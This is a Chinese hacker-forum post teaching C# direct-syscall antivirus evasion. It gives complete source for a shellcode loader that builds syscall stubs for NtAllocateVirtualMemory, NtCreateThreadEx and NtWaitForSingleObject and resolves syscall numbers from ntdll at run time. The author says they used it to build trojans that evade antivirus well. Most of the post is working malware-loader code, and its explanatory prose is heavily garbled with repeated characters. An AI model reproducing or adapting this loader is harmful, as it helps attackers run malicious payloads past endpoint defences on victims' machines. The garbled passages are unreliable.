Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

C#系统调用免杀教程讲解

 Share


Recommended Posts

Windows中,windows,进程架构两模式访问模式访问访问访问访问处理器模式内核模式。这些模式模式的的实现的想法想法是是是保护保护保护用户应用应用程序程序不访问访问应用程序都运行在用户模式下,而操作系统代码(如系统服务和设备驱动程序)都运行在内核模式下。

zloJJI.png

模式特指种种执行执行模式执行执行种执行执行它它对所有所有内存和所有和所有所有所有所有所有所有所有所有所有所有所有和指令指令指令指令一些一些一些x86 x64 x64 x64 x64和处理器处理器处理器等级特权模式的处理器确定义了四个等级别 - 其他称为环- 以保护系统代号和数据。这些振铃等级的提示如下所示。

zloNSP.png

Windows中,Windows仅仅其中 -内核 -内核 -内核内核模式模式的的的的的环和模式和模式模式的的的的环现在。。。。。,在。,在在在在的的处理器处理器,处理器操作,处理器之间。。,“环级”安全性安全性安全性安全性的什么???那么??什么?什么什么?什么什么什么什么什么什么什么什么?什么什么启动启动启动用户用户模式应用应用时应用程序虚拟地址和个私有。。。这个柄柄表柄柄是是是一个包含句柄句柄的的的的内核内核对象对象。。。。句柄只是只是对特定特定特定资源资源资源api用户用户的内存内存,从而从而某些某些某些某些某些某些某些,例如例如管理某些管理物理物理物理。。。。总体总体总体而言总体而而总体,句柄作业一个句柄的例子。

zloUQf.png

因为程序是私有私有私有私有是私有私有私有私有一个个应用程序能能更改更改属于属于另另另一一个个应用应用应用程序程序的的程序程序的的程序的的应用程序程序程序的的一一一另另一一另一另另另属于属于属于属于属于属于属于属于属于属于属于属于属于更改属于属于属于更改属于属于属于一个进程有权打开另一个进程以使用跨进程内存功能,例如ReadProcessMemoryWriteProcessMemory

zloay8.png

现在小心写入错误地址空间了恶意了了了操作恶意恶意了可能会会危及系统或或或其他其他其他其他其他程序其他驱动程序程序程序。。。。尽管尽管有有有有有一些一些一些保护保护(),windows windows windows例程需要。例如。由于),那么那么首先模式切换内核这这就系统调用发挥作用作用的地方。让为了让让用户用户应用应用应用应用程序程序内内内核核核核核核模式模式模式下下下访问这些这些“系统”。。该指令触发之间转换转换,并访问的之间转换转换允许并处理器访问访问内内内核中核中的核中的的的系统系统系统系统服务服务调度调度服务服务调度调度调度服务调度调度调度调度代码代码代码代码代码代码代码代码代码代码代码。。。。。代码。。。。。。。。】】】】这些函数包包含内核和 OS 应用程序级别发布。

问题:
1.不同的系统的syscall不一样,怎么才能实现在不同系统里面动态调整

如何获取syscall的系统调用号

准备工具:windbg
获取API地址

x ntdll!NtCreateFile

 

指定地址查看反汇编

u 00007ffd`3826db50

 

zlo0eg.png

得到的汇编

ntdll!ZwCreateFile:
00007ffd`3826db50 4c8bd1          mov     r10,rcx
00007ffd`3826db53 b855000000      mov     eax,55h
00007ffd`3826db58 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffd`3826db60 7503            jne     ntdll!ZwCreateFile+0x15 (00007ffd`3826db65)
00007ffd`3826db62 0f05            syscall
00007ffd`3826db64 c3              ret
00007ffd`3826db65 cd2e            int     2Eh
00007ffd`3826db67 c3              ret

 

Mov eax,55H就是系统用号用号调的特权操作。
这里可以看到关键的汇编指令:
(参数会传到r10,r10在传给rcx)

mov r10,rcx //规定
mov eax,<系统调用号>
syscall
ret

 

获取API函数需要的内存权限

!address 00007ffd`3826db50

 

zloBwQ.png

C#下如何编写

代码示例来源:https://github.com/SolomonSklash/SyscallPOC/tree/master/Syscall


- >>先先提取出来出来的编号那段段汇编放到汇编放汇编放汇编放段汇编放数数数->>>>>>定义定义一个个实现函数函数实现->> byte byte byte byte temte
temte [ ] memoryAddress的int变量,将byte指针赋值->利用VirtualProtectEx修改内部存储权限->利用Marshal.GetDelegateForFunctionPointer将函数指针转换为一个委托->返回该委托



 

问题:
为什么要用unsafe
为什么要用Marshal.GetDelegateForFunctionPointer
为什么有UnmanagedFunctionPointer(CallingConvention.StdCall)

为什么要用不安全的

当一个代码块使用 unsafe 修饰符标记时,C# 允许在函数中使用指针变量。不安全代码或非托管代码是指使用了指针变量的代码块
  • 1个

为什么要有 Marshal.GetDelegateForFunctionPointer

在.net 2.0 中,框架直接提供了 Marshal.GetDelegateForFunctionPointer 来转换一个函数指针为一个委托
C# 中的委托(Delegate)类似于 C 或 C++ 中函数的指针。委托(Delegate) 是存有对某个方法的引用的一种引用类型变量。引用可在运行时被改变。
委托(Delegate)特别用于实现事件和回调方法。所有的委托(Delegate)都派生自 System.Delegate 类。
参考链接:
https://cloud.tencent.com/developer/article/1798625
https://www.runoob.com/csharp/csharp-delegate.html

 

为什么有 UnmanagedFunctionPointer(CallingConvention.StdCall)

UnmanagedFunctionPointer
控制作为非托管函数指针传递给非托管代码或从非托管代码传递的委托签名的封送处理行为。这个类不能被继承。
https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.unmanagedfunctionpointerattribute.-ctor?view=net-6.0#system-runtime-interopservices-unmanagedfunctionpointerattribute-ctor(system-runtime-interopservices-callingconvention)

CallingConvention.StdCal 被调用者清理堆栈。
属于调用约定枚举里面的参数
https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.callingconvention?view=net-6.0

 

写死的系统调用示例代码1

static byte[] bNtWaitForSingleObject =
        {
            0x4c, 0x8b, 0xd1,               // mov r10,rcx
            0xb8, 0x04, 0x00, 0x00, 0x00,   // mov eax,4
            0x0F, 0x05,                     // syscall
            0xC3                            // ret
        };
        public static NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout)
        {
            // set byte array of bNtWaitForSingleObject to new byte array called syscall
            byte[] syscall = bNtWaitForSingleObject;


            // specify unsafe context
            unsafe
            {
                // create new byte pointer and set value to our syscall byte array
                fixed (byte* ptr = syscall)
                {
                    // cast the byte array pointer into a C# IntPtr called memoryAddress
                    IntPtr memoryAddress = (IntPtr)ptr;


                    // Change memory access to RX for our assembly code
                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect))
                        {
                        throw new Win32Exception();
                    }


                    // Get delegate for NtWaitForSingleObject
                    Delegates.NtWaitForSingleObject assembledFunction = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWaitForSingleObject));


                    return (NTSTATUS)assembledFunction(Object, Alertable, Timeout);
                }
            }
        }


public struct Delegates
        {
                    <省略>
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout);

 

示例代码2

using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using static Syscall.Native;

namespace Syscall
{
    class Syscalls
    {
        /*
        MSDN:
        NTSTATUS NtAllocateVirtualMemory(
            HANDLE ProcessHandle,         // C#: IntPtr
            PVOID* BaseAddress,           // C#: IntPtr
            ULONG_PTR ZeroBits,           // C#: IntPtr
            PSIZE_T RegionSize,           // C#: ref UIntPtr
            ULONG AllocationType,         // C#: UInt32
            ULONG Protect                 // C#: UInt32
            );
        ReactOS:
        NTSTATUS NtAllocateVirtualMemory(
            _In_ HANDLE ProcessHandle,
            _Inout_ _Outptr_result_buffer_(* RegionSize) PVOID *BaseAddress,
            _In_ ULONG_PTR ZeroBits,
            _Inout_ PSIZE_T RegionSize,
            _In_ ULONG AllocationType,
            _In_ ULONG Protect
            ); */
        /*   0x18 in all Windows 10 version so far   */
        static byte[] bNtAllocateVirtualMemory =
        {
            0x4c, 0x8b, 0xd1,               // mov r10,rcx
            0xb8, 0x18, 0x00, 0x00, 0x00,   // mov eax,18h
            0x0F, 0x05,                     // syscall
            0xC3                            // ret
        };

        public static NTSTATUS NtAllocateVirtualMemory(
            IntPtr ProcessHandle,
            ref IntPtr BaseAddress,
            IntPtr ZeroBits,
            ref UIntPtr RegionSize,
            uint AllocationType,
            uint Protect )
        {
            // set byte array of bNtAllocateVirtualMemory to new byte array called syscall
            byte[] syscall = bNtAllocateVirtualMemory;

            // specify unsafe context
            unsafe
            {
                // create new byte pointer and set value to our syscall byte array
                fixed (byte* ptr = syscall)
                {
                    // cast the byte array pointer into a C# IntPtr called memoryAddress
                    IntPtr memoryAddress = (IntPtr)ptr;

                    // Change memory access to RX for our assembly code
                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect))
                    {
                        throw new Win32Exception();
                    }

                    // Get delegate for NtAllocateVirtualMemory
                    Delegates.NtAllocateVirtualMemory assembledFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));

                    return (NTSTATUS)assembledFunction(
                        ProcessHandle,
                        ref BaseAddress,
                        ZeroBits,
                        ref RegionSize,
                        AllocationType,
                        Protect);
                }
            }
        }

        // https://securityxploded.com/ntcreatethreadex.php
        //NTSTATUS NtCreateThreadEx(
            // OUT PHANDLE hThread,                         // C#: out IntPtr
            // IN ACCESS_MASK DesiredAccess,                // C#: ACCESS_MASK (Native.cs)
            // IN LPVOID ObjectAttributes,                  // C#: IntPtr.Zero
            // IN HANDLE ProcessHandle,                     // C#: IntPtr
            // IN LPTHREAD_START_ROUTINE lpStartAddress,    // C#: IntPtr
            // IN LPVOID lpParameter,                       // C#: IntPtr
            // IN BOOL CreateSuspended,                     // C#: Boolean/Int
            // IN ULONG StackZeroBits,                      // C#: uint
            // IN ULONG SizeOfStackCommit,                  // C#: uint
            // IN ULONG SizeOfStackReserve,                 // C#: uint
            // OUT LPVOID lpBytesBuffer                     // C#: IntPtr
            // );
        /*   Windows 10 1909: 0xBD, Windows 10 2004: 0xC1   */
        static byte[] bNtCreateThreadEx =
        {
            0x4c, 0x8b, 0xd1,               // mov r10,rcx
        //    0xb8, 0xc1, 0x00, 0x00, 0x00,   // mov eax,0BDh
            0xb8, 0xbd, 0x00, 0x00, 0x00,   // mov eax,0BDh
            0x0F, 0x05,                     // syscall
            0xC3                            // ret
        };
        public static NTSTATUS NtCreateThreadEx(
            out IntPtr hThread,
            ACCESS_MASK DesiredAccess,
            IntPtr ObjectAttributes,
            IntPtr ProcessHandle,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            bool CreateSuspended,
            uint StackZeroBits,
            uint SizeOfStackCommit,
            uint SizeOfStackReserve,
            IntPtr lpBytesBuffer
            )
        {
            // set byte array of bNtCreateThread to new byte array called syscall
            byte[] syscall = bNtCreateThreadEx;

            // specify unsafe context
            unsafe
            {
                // create new byte pointer and set value to our syscall byte array
                fixed (byte* ptr = syscall)
                {
                    // cast the byte array pointer into a C# IntPtr called memoryAddress
                    IntPtr memoryAddress = (IntPtr)ptr;

                    // Change memory access to RX for our assembly code
                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect))
                    {
                        throw new Win32Exception();
                    }

                    // Get delegate for NtCreateThread
                    Delegates.NtCreateThreadEx assembledFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx));

                    return (NTSTATUS)assembledFunction(
                        out hThread,
                        DesiredAccess,
                        ObjectAttributes,
                        ProcessHandle,
                        lpStartAddress,
                        lpParameter,
                        CreateSuspended,
                        StackZeroBits,
                        SizeOfStackCommit,
                        SizeOfStackReserve,
                        lpBytesBuffer
                        );
                }
            }
        }

        /*
        MSDN:
        NTSTATUS ZwWaitForSingleObject(
            HANDLE Handle,             // C#: IntPtr
            BOOLEAN Alertable,         // C#: Boolean
            PLARGE_INTEGER Timeout     // C#: Int64
            );
        ReactOS:
        NTSTATUS NtWaitForSingleObject(
             In_ HANDLE Object,
             In_ BOOLEAN Alertable,
             In_opt_ PLARGE_INTEGER Time
             ); */
        /*   0x4 in all Windows 10 versions so far   */
        static byte[] bNtWaitForSingleObject =
        {
            0x4c, 0x8b, 0xd1,               // mov r10,rcx
            0xb8, 0x04, 0x00, 0x00, 0x00,   // mov eax,4
            0x0F, 0x05,                     // syscall
            0xC3                            // ret
        };
        public static NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout)
        {
            // set byte array of bNtWaitForSingleObject to new byte array called syscall
            byte[] syscall = bNtWaitForSingleObject;

            // specify unsafe context
            unsafe
            {
                // create new byte pointer and set value to our syscall byte array
                fixed (byte* ptr = syscall)
                {
                    // cast the byte array pointer into a C# IntPtr called memoryAddress
                    IntPtr memoryAddress = (IntPtr)ptr;

                    // Change memory access to RX for our assembly code
                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect))
                        {
                        throw new Win32Exception();
                    }

                    // Get delegate for NtWaitForSingleObject
                    Delegates.NtWaitForSingleObject assembledFunction = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWaitForSingleObject));

                    return (NTSTATUS)assembledFunction(Object, Alertable, Timeout);
                }
            }
        }
        public struct Delegates
        {
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate NTSTATUS NtAllocateVirtualMemory(
                IntPtr ProcessHandle,
                ref IntPtr BaseAddress,
                IntPtr ZeroBits,
                ref UIntPtr RegionSize,
                ulong AllocationType,
                ulong Protect);
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate NTSTATUS NtCreateThreadEx(
                out IntPtr hThread,
                ACCESS_MASK DesiredAccess,
                IntPtr ObjectAttributes,
                IntPtr ProcessHandle,
                IntPtr lpStartAddress,
                IntPtr lpParameter,
                bool CreateSuspended,
                uint StackZeroBits,
                uint SizeOfStackCommit,
                uint SizeOfStackReserve,
                IntPtr lpBytesBuffer
                );
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout);
        }
    }
}

NtAllocateVirtualMemory显示示例代码
不同的系统的系统调用不一样,怎么才能实现在不同系统里面动态调整

       public static uint GetSyscallID(string SysFunName)
        {
                     uint SyscallID = 0;
                     IntPtr SyscallID_mem =  Marshal.AllocHGlobal(Marshal.SizeOf(SyscallID)); //先获取SyscallID的内存大小 再分配内存
                     RtlZeroMemory(SyscallID_mem, Marshal.SizeOf(SyscallID)); //用0填充内存
                     IntPtr hModule = GetModuleHandle("ntdll.dll"); //获取ntdll基址
                     IntPtr FunAddr = GetProcAddress(hModule, SysFunName); //获取API函数地址
                     IntPtr CallAddr = FunAddr + 4; //获取系统调用编号地址
                     uint temp;
                     bool read_result = ReadProcessMemory(GetCurrentProcess(),  CallAddr, SyscallID_mem, 4, out temp); //读取内存编号
                     // Console.WriteLine("Error: " +  Marshal.GetLastWin32Error());
                     // Console.WriteLine("CallAddr:" + CallAddr + ", SyscallID"  + SyscallID + ", temp: " + temp);
                     SyscallID = (uint)Marshal.ReadInt32(SyscallID_mem); //从非托管内存中读取 32 位有符号整数。支持从未对齐的内存位置读取 (相当于转成int)
                     return SyscallID; //返回内存编号
        }


             public static byte[] SYSbyte1 =
              {
                     0x4c, 0x8b, 0xd1,          // 0x4c, 0x8b, 0xd1=mov r10,rcx、 0xb8=mov eax
            0xb8
              };
              public static byte[] SYSbyte2 =
              {
                     0x00, 0x00, 0x00,   // 0x0F, 0x05=syscall、0xc3=ret
            0x0F, 0x05,                    
            0xC3                           
        };

public static uint NtAllocateVirtualMemory
              (
                     IntPtr ProcessHandle,
                     ref IntPtr BaseAddress,
                     IntPtr ZeroBits,
                     ref UIntPtr RegionSize,
                     uint AllocationType,
                     uint Protect
              )
              {
                     // set byte array of bNtAllocateVirtualMemory to new byte  array called syscall
                     uint SyscallID =  Auto_NativeCode.GetSyscallID("NtAllocateVirtualMemory");
                     byte[] syscall1 = SYSbyte1;
                     byte[] syscallid = { (byte)SyscallID };
                     byte[] syscall2 = SYSbyte2;
                     byte[] sysfinal =  syscall1.Concat(syscallid).Concat(syscall2).ToArray(); //拼接syscall汇编指令
                     /*
                     foreach(byte temp in sysfinal)
            {
                           Console.WriteLine("Sysfinal: " + temp);
                     }
                     */
                     // specify unsafe context
                     unsafe
                     {
                           // create new byte pointer and set value to our  syscall byte array
                           fixed (byte* ptr = sysfinal)
                           {
                                  // cast the byte array pointer into a C# IntPtr  called memoryAddress
                                  IntPtr memoryAddress = (IntPtr)ptr;
                                  // Change memory access to RX for our assembly  code
                                  if  (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,  (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect))
                                  {
                                         throw new Win32Exception();
                                  }
                                  // Get delegate for NtAllocateVirtualMemory
                                  DelegatesStruct.NtAllocateVirtualMemory  assembledFunction =  (DelegatesStruct.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtAllocateVirtualMemory));
                                  return (uint)assembledFunction(
                                         ProcessHandle,
                                         ref BaseAddress,
                                         ZeroBits,
                                         ref RegionSize,
                                         AllocationType,
                                         Protect);
                           }
                     }
              }

 

zloDoj.png

API Syscall声明-执行shellcode整套完整模板-来源代码:https://github.com/Kara-4search/SysCall_ShellcodeLoad_Csharp

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Diagnostics;
namespace SysCall_ShellcodeLoad
{
    class Auto_NativeCode
    {
              [DllImport("kernel32.dll")]
              public static extern bool VirtualProtectEx
              (
                     IntPtr hProcess,
                     IntPtr lpAddress,
                     UIntPtr dwSize,
                     uint flNewProtect,
                     out uint lpflOldProtect
               );
              [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true,  SetLastError = true)]
              static extern IntPtr GetProcAddress(IntPtr hModule, string  procName);
              [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
              public static extern IntPtr GetModuleHandle(string lpModuleName);
              [DllImport("kernel32.dll", SetLastError = true)]
              public static extern IntPtr GetCurrentProcess();
              [DllImport("kernel32.dll")]
              public static extern void RtlZeroMemory(IntPtr pBuffer, int length);
              [DllImport("kernel32.dll", SetLastError = true)]
              static extern bool ReadProcessMemory(
                     IntPtr hProcess,
                     IntPtr lpBaseAddress,
                     IntPtr lpBuffer,
                     int dwSize,
                     out uint lpNumberOfBytesRead
              );
              public uint NTSTATUS;
              public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
              // public uint SYSid = 0;
              public static byte[] SYSbyte1 =
              {
                     0x4c, 0x8b, 0xd1,               
            0xb8
              };
              public static byte[] SYSbyte2 =
              {
                     0x00, 0x00, 0x00,  
            0x0F, 0x05,                    
            0xC3                           
        };
              public enum AllocationType : ulong
              {
                     Commit = 0x1000,
                     Reserve = 0x2000,
                     Decommit = 0x4000,
                     Release = 0x8000,
                     Reset = 0x80000,
                     Physical = 0x400000,
                     TopDown = 0x100000,
                     WriteWatch = 0x200000,
                     LargePages = 0x20000000
              }
              public static uint GetSyscallID(string SysFunName)
        {
                     uint SyscallID = 0;
                     IntPtr SyscallID_mem =  Marshal.AllocHGlobal(Marshal.SizeOf(SyscallID));
                     RtlZeroMemory(SyscallID_mem, Marshal.SizeOf(SyscallID));
                     IntPtr hModule = GetModuleHandle("ntdll.dll");
                     IntPtr FunAddr = GetProcAddress(hModule, SysFunName);
                     IntPtr CallAddr = FunAddr + 4;
                     uint temp;
                     bool read_result = ReadProcessMemory(GetCurrentProcess(),  CallAddr, SyscallID_mem, 4, out temp);
                     // Console.WriteLine("Error: " +  Marshal.GetLastWin32Error());
                     // Console.WriteLine("CallAddr:" + CallAddr + ", SyscallID"  + SyscallID + ", temp: " + temp);
                     SyscallID = (uint)Marshal.ReadInt32(SyscallID_mem);
                     Console.WriteLine("SyscallID:{0:x}",SyscallID);
                     return SyscallID;
        }
              public static uint NtAllocateVirtualMemory
              (
                     IntPtr ProcessHandle,
                     ref IntPtr BaseAddress,
                     IntPtr ZeroBits,
                     ref UIntPtr RegionSize,
                     uint AllocationType,
                     uint Protect
              )
              {
                     // set byte array of bNtAllocateVirtualMemory to new byte  array called syscall
                     uint SyscallID =  Auto_NativeCode.GetSyscallID("NtAllocateVirtualMemory");
                     byte[] syscall1 = SYSbyte1;
                     byte[] syscallid = { (byte)SyscallID };
                     byte[] syscall2 = SYSbyte2;
                     byte[] sysfinal =  syscall1.Concat(syscallid).Concat(syscall2).ToArray();
                     /*
                     foreach(byte temp in sysfinal)
            {
                           Console.WriteLine("Sysfinal: " + temp);
                     }
                     */
                     // specify unsafe context
                     unsafe
                     {
                           // create new byte pointer and set value to our  syscall byte array
                           fixed (byte* ptr = sysfinal)
                           {
                                  // cast the byte array pointer into a C# IntPtr  called memoryAddress
                                  IntPtr memoryAddress = (IntPtr)ptr;
                                  // Change memory access to RX for our assembly  code
                                  if  (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,  (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect))
                                  {
                                         throw new Win32Exception();
                                  }
                                  // Get delegate for NtAllocateVirtualMemory
                                  DelegatesStruct.NtAllocateVirtualMemory  assembledFunction =  (DelegatesStruct.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtAllocateVirtualMemory));
                                  return (uint)assembledFunction(
                                         ProcessHandle,
                                         ref BaseAddress,
                                         ZeroBits,
                                         ref RegionSize,
                                         AllocationType,
                                         Protect);
                           }
                     }
              }
              public static uint NtCreateThreadEx
           (
                  out IntPtr hThread,
                  uint DesiredAccess,
                  IntPtr ObjectAttributes,
                  IntPtr ProcessHandle,
                  IntPtr lpStartAddress,
                  IntPtr lpParameter,
                  bool CreateSuspended,
                  uint StackZeroBits,
                  uint SizeOfStackCommit,
                  uint SizeOfStackReserve,
                  IntPtr lpBytesBuffer
           )
              {
                     // set byte array of bNtCreateThread to new byte array called  syscall
                     uint SyscallID =  Auto_NativeCode.GetSyscallID("NtCreateThreadEx");
                     byte[] syscall1 = SYSbyte1;
                     byte[] syscallid = { (byte)SyscallID };
                     byte[] syscall2 = SYSbyte2;
                     byte[] sysfinal =  syscall1.Concat(syscallid).Concat(syscall2).ToArray();
                     // specify unsafe context
                     unsafe
                     {
                           // create new byte pointer and set value to our  syscall byte array
                           fixed (byte* ptr = sysfinal)
                           {
                                  // cast the byte array pointer into a C# IntPtr  called memoryAddress
                                  IntPtr memoryAddress = (IntPtr)ptr;
                                  // Change memory access to RX for our assembly  code
                                  if  (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,  (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect))
                                  {
                                         throw new Win32Exception();
                                  }
                                  // Get delegate for NtCreateThread
                                  DelegatesStruct.NtCreateThreadEx  assembledFunction =  (DelegatesStruct.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtCreateThreadEx));
                                  return (uint)assembledFunction(
                                         out hThread,
                                         DesiredAccess,
                                         ObjectAttributes,
                                         ProcessHandle,
                                         lpStartAddress,
                                         lpParameter,
                                         CreateSuspended,
                                         StackZeroBits,
                                         SizeOfStackCommit,
                                         SizeOfStackReserve,
                                         lpBytesBuffer
                                   );
                           }
                     }
              }
              public static uint NtWaitForSingleObject(IntPtr Object, bool  Alertable, uint Timeout)
              {
                     // set byte array of bNtWaitForSingleObject to new byte array  called syscall
                     uint SyscallID =  Auto_NativeCode.GetSyscallID("NtWaitForSingleObject");
                     byte[] syscall1 = SYSbyte1;
                     byte[] syscallid = { (byte)SyscallID };
                     byte[] syscall2 = SYSbyte2;
                     byte[] sysfinal =  syscall1.Concat(syscallid).Concat(syscall2).ToArray();
                     // specify unsafe context
                     unsafe
                     {
                           // create new byte pointer and set value to our  syscall byte array
                           fixed (byte* ptr = sysfinal)
                           {
                                  // cast the byte array pointer into a C# IntPtr  called memoryAddress
                                  IntPtr memoryAddress = (IntPtr)ptr;
                                  // Change memory access to RX for our assembly  code
                                  if  (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,  (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect))
                                  {
                                         throw new Win32Exception();
                                  }
                                  // Get delegate for NtWaitForSingleObject
                                  DelegatesStruct.NtWaitForSingleObject  assembledFunction =  (DelegatesStruct.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtWaitForSingleObject));
                                  return (uint)assembledFunction(Object,  Alertable, Timeout);
                           }
                     }
              }
              public struct DelegatesStruct
              {
                     [UnmanagedFunctionPointer(CallingConvention.StdCall)]
                     public delegate uint NtAllocateVirtualMemory(
                           IntPtr ProcessHandle,
                           ref IntPtr BaseAddress,
                           IntPtr ZeroBits,
                           ref UIntPtr RegionSize,
                           ulong AllocationType,
                           ulong Protect);
                     [UnmanagedFunctionPointer(CallingConvention.StdCall)]
                     public delegate uint NtCreateThreadEx(
                           out IntPtr hThread,
                           uint DesiredAccess,
                           IntPtr ObjectAttributes,
                           IntPtr ProcessHandle,
                           IntPtr lpStartAddress,
                           IntPtr lpParameter,
                           bool CreateSuspended,
                           uint StackZeroBits,
                           uint SizeOfStackCommit,
                           uint SizeOfStackReserve,
                           IntPtr lpBytesBuffer
                           );
                     [UnmanagedFunctionPointer(CallingConvention.StdCall)]
                     public delegate uint NtWaitForSingleObject(IntPtr Object,  bool Alertable, uint Timeout);
              }
       }
}

 

最后就是现实shellcode执行,按照C翻译就执行。或者CV

zlo6Wq.png
zlogS0.png

在项目里面用这个模板做的几个马,免费效果都不错

zlo2lV.png

参考链接

https://jhalon.github.io/utilizing-syscalls-in-csharp-1/
https://jhalon.github.io/utilizing-syscalls-in-csharp-2/
https://www.solomonsklash.io/ syscalls-for-shellcode-injection.html
https://github.com/SolomonSklash/SyscallPOC
https://github.com/Kara-4search/SysCall_ShellcodeLoad_Csharp

Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...